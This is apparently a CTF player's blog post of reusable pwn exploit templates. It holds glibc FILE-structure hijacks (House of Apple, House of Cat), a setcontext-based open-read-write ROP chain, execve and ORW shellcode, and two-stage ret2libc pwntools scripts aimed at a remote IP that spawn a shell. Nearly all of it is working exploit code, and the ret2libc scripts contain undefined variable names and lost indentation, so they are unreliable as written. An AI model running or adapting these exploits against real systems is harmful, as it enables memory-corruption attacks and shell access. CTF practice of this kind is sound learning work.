板子

常见题型模板

高版本打IO

能exit的——House of Apple

1
2
3
4
5
6
7
8
9
10
11
def HouseOfApple(libcBase_,libc_):
#伪造FILE
IO_FILE_plus=FileStructure()
IO_FILE_plus.flags=0x68732020 #参数为" sh",为了flags&0x800能=0,绕过校验
IO_FILE_plus._IO_write_ptr=1
IO_FILE_plus._lock=libcBase_+libc_.symbols["_IO_2_1_stdout_"]+0x60
IO_FILE_plus._wide_data=libcBase_+libc_.symbols["_IO_2_1_stderr_"]-0x48
IO_FILE_plus._codecvt=libcBase_+libc_.symbols["_IO_2_1_stderr_"]
IO_FILE_plus.chain=libcBase_+libc_.symbols["system"]
IO_FILE_plus.vtable=libcBase_+libc_.symbols["_IO_file_jumps"]+0x1f8 #劫持到wfile_jumps
return bytes(IO_FILE_plus)

不能exit的——House of Cat打xsputn

如果开了沙箱——劫持到setcontext打orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def HouseOfCat(libcBase_,libc_):
pop_rdi_ret=libcBase_+0x2a3e5
pop_rsi_ret=libcBase_+0x2be51
pop_rdx_ret=libcBase_+0x11f357 #pop rdx; pop r12; ret
#有的时候没有pop rdx的gadget,找下面这种
mov_dl_ret=libcBase_+0x1a22b1 #mov dl,0x66; ret
retAlignPadding=libcBase_+0x29139

fake_stderr=p64(retAlignPadding)+p64(pop_rdi_ret)+p64(libcBase_+libc_.symbols["_IO_2_1_stdout_"]+0x48)+p64(pop_rsi_ret)+p64(0)+p64(libcBase_+libc_.symbols["open"])
fake_stderr+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(libcBase_+libc_.symbols["_IO_2_1_stderr_"])+p64(pop_rdx_ret)+p64(100)+p64(12)+p64(libcBase_+libc_.symbols["read"])
fake_stderr+=p64(pop_rdi_ret)+p64(1)+p64(libcBase_+libc_.symbols["write"])
stderr_len=len(fake_stderr)
fake_stderr+=b'\x00'*(0xa0-stderr_len)+p64(libcBase_+libc_.symbols["_IO_2_1_stderr_"]+8)+p64(retAlignPadding)

stderr_len=len(fake_stderr)
fake_stderr+=b'2'*(0xe0-stderr_len)

fake_stdout=FileStructure()
fake_stdout.flags=0xfbad2222
fake_stdout._lock=libcBase_+libc_.symbols["_IO_2_1_stdout_"]+0x60

fake_stdout._IO_save_base=b"/flag\x00"
fake_stdout._wide_data=libcBase_+libc_.symbols["_IO_2_1_stdout_"] #wide_data和vtable都是stdout
fake_stdout._IO_write_base=libcBase_+libc_.symbols["_IO_2_1_stderr_"] #wide_data+0x20的地方是sigFrame
fake_stdout._IO_write_ptr=libcBase_+libc_.symbols["_IO_2_1_stderr_"]+1 #ptr>base
fake_stdout._IO_buf_base=libcBase_+libc_.symbols["setcontext"]+61 #wide_vtable+0x18的地方是劫持的目标
fake_stdout.vtable=libcBase_+libc_.symbols["_IO_file_jumps"]-0x540+0x10 #2.39的wfile_jumps偏移不太一样,是+0x1f8

stdout_pack=bytes(fake_stdout)+p64(libcBase_+libc_.symbols["_IO_2_1_stdout_"]+0x20) #vtable指向stdout+0x50
return fake_stderr+stdout_pack

如果没开沙箱——劫持到system

1
2
3
4
5
6
7
8
9
10
11
def HouseOfCat(libcBase_,libc_):
fake_stdout=FileStructure()
fake_stdout.flags=0x68732020
fake_stdout._lock=libcBase_+libc_.symbols["_IO_2_1_stdout_"]+0x60

fake_stdout._wide_data=libcBase_+libc_.symbols["_IO_2_1_stdout_"] #wide_data和vtable都是stdout
fake_stdout._IO_write_base=libcBase_+libc_.symbols["_IO_2_1_stderr_"] #wide_data+0x20的地方是sigFrame
fake_stdout._IO_write_ptr=libcBase_+libc_.symbols["_IO_2_1_stderr_"]+1 #ptr>base
fake_stdout._IO_buf_base=libcBase_+libc_.symbols["system"] #wide_vtable+0x18的地方是劫持的目标
fake_stdout.vtable=libcBase_+libc_.symbols["_IO_file_jumps"]-0x540+0x10 #2.39的wfile_jumps偏移不太一样,是+0x1f8
return bytes(fake_stdout)

一些常用shellcode

orw

1
2
3
4
5
6
7
shellcode = asm(shellcraft.open("flag.txt"))
shellcode += asm("""
sub rsp,0x100
"""
)
shellcode += asm(shellcraft.read("rax", "rsp", 100))
shellcode += asm(shellcraft.write(1, "rsp", "rax"))

execve

1
2
3
4
5
6
7
8
9
shellcode=asm('''
mov r11,0x68732f6e69622f
push r11
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
mov rax,59
syscall
''')

增强版orw

1
2
3
4
5
6
7
8
9
shellcode=shellcraft.openat(-100,"flag",0)
shellcode+=shellcraft.pread('rax','rsp',100,0)
shellcode+='''
mov r14,rsp
sub rsp,32
push rax
push r14
'''
shellcode+=shellcraft.writev(1,'rsp',1)

二阶段ret2libc

给了libc.so的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(os="linux",arch="x86_64",log_level="debug")
context.terminal=["tmux","splitw","-h"]
targetELF="./pwn"
elf=ELF(targetELF)

retOffset=0x20+8
leakFuncName="__libc_start_main"
leakFuncGOT=elf.got[leakFuncName]
printfPLT=elf.plt["puts"]
backAddr=elf.symbols["main"]
pop_rdi_ret=0x40102f
retAlignPadding=0x40101a

libcPath="./libc.so.6"
libc=ELF(libcPath)

LOCAL=11
REMOTE=12
DEBUG=13
mode=REMOTE
def Lauch():
if mode==LOCAL:
io=process(targetELF)
return io
elif mode==REMOTE:
io=remote("8.147.132.32",43291)
return io
elif mode==DEBUG:
io=gdb.debug(targetELF,"b *0x4012ea")
return io

ioTube=Lauch()

payload1=b'A'*retOffset+p64(pop_rdi_ret)+p64(leakGOT)+p64(putsPLT)+p64(backAddr)
ioTube.send(payload)
libcReal=u64(ioTube.recvline(keepends=False).ljust(8,b'\x00'))

libcBase=libcReal-libc.symbols[leakFuncName]
systemAddr=libcBase+libc.symbols["system"]
binshAddr=libcBase+next(libc.search("/bin/sh"))

payload=b'A'*retOffset+p64(retAlignPadding)+p64(pop_rdi_ret)+p64(binshAddr)+p64(systemAddr)
ioTube.send(payload)

没给libc.so的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
context(os="linux",arch="x86_64",log_level="debug")
context.terminal=["tmux","splitw","-h"]

targetELF="./pwn"
elf=ELF(targetELF)
leakFuncName="__libc_start_main"
leakFuncGOT=elf.got[leakFuncName]
printfPLT=elf.plt["puts"]
backAddr=elf.symbols["main"]

retOffset=0x20+8
pop_rdi_ret=0x40102f
retAlignPadding=0x40101a

LOCAL=11
REMOTE=12
DEBUG=13
mode=REMOTE
def Lauch():
if mode==LOCAL:
io=process(targetELF)
return io
elif mode==REMOTE:
io=remote("8.147.132.32",43291)
return io
elif mode==DEBUG:
io=gdb.debug(targetELF,"b *0x4012ea")
return io

ioTube=Lauch()

payload1=b'A'*retOffset+p64(pop_rdi_ret)+p64(leakGOT)+p64(putsPLT)+p64(backAddr)
ioTube.send(payload)
libcReal=u64(ioTube.recvline(keepends=False).ljust(8,b'\x00'))
libc=LibcSearcher(leakFuncName,libcReal)
libcBase=libcReal-libc.symbols[leakFuncName]

systemAddr=libcBase+libc.dump("system")
binshAddr=libcBase+libc.dump("str_bin_sh")

payload=b'A'*retOffset+p64(retAlignPadding)+p64(pop_rdi_ret)+p64(binshAddr)+p64(systemAddr)
ioTube.send(payload)

板子
http://0x4a-210.github.io/2025/11/02/工具库/板子/
Posted on
November 2, 2025
Licensed under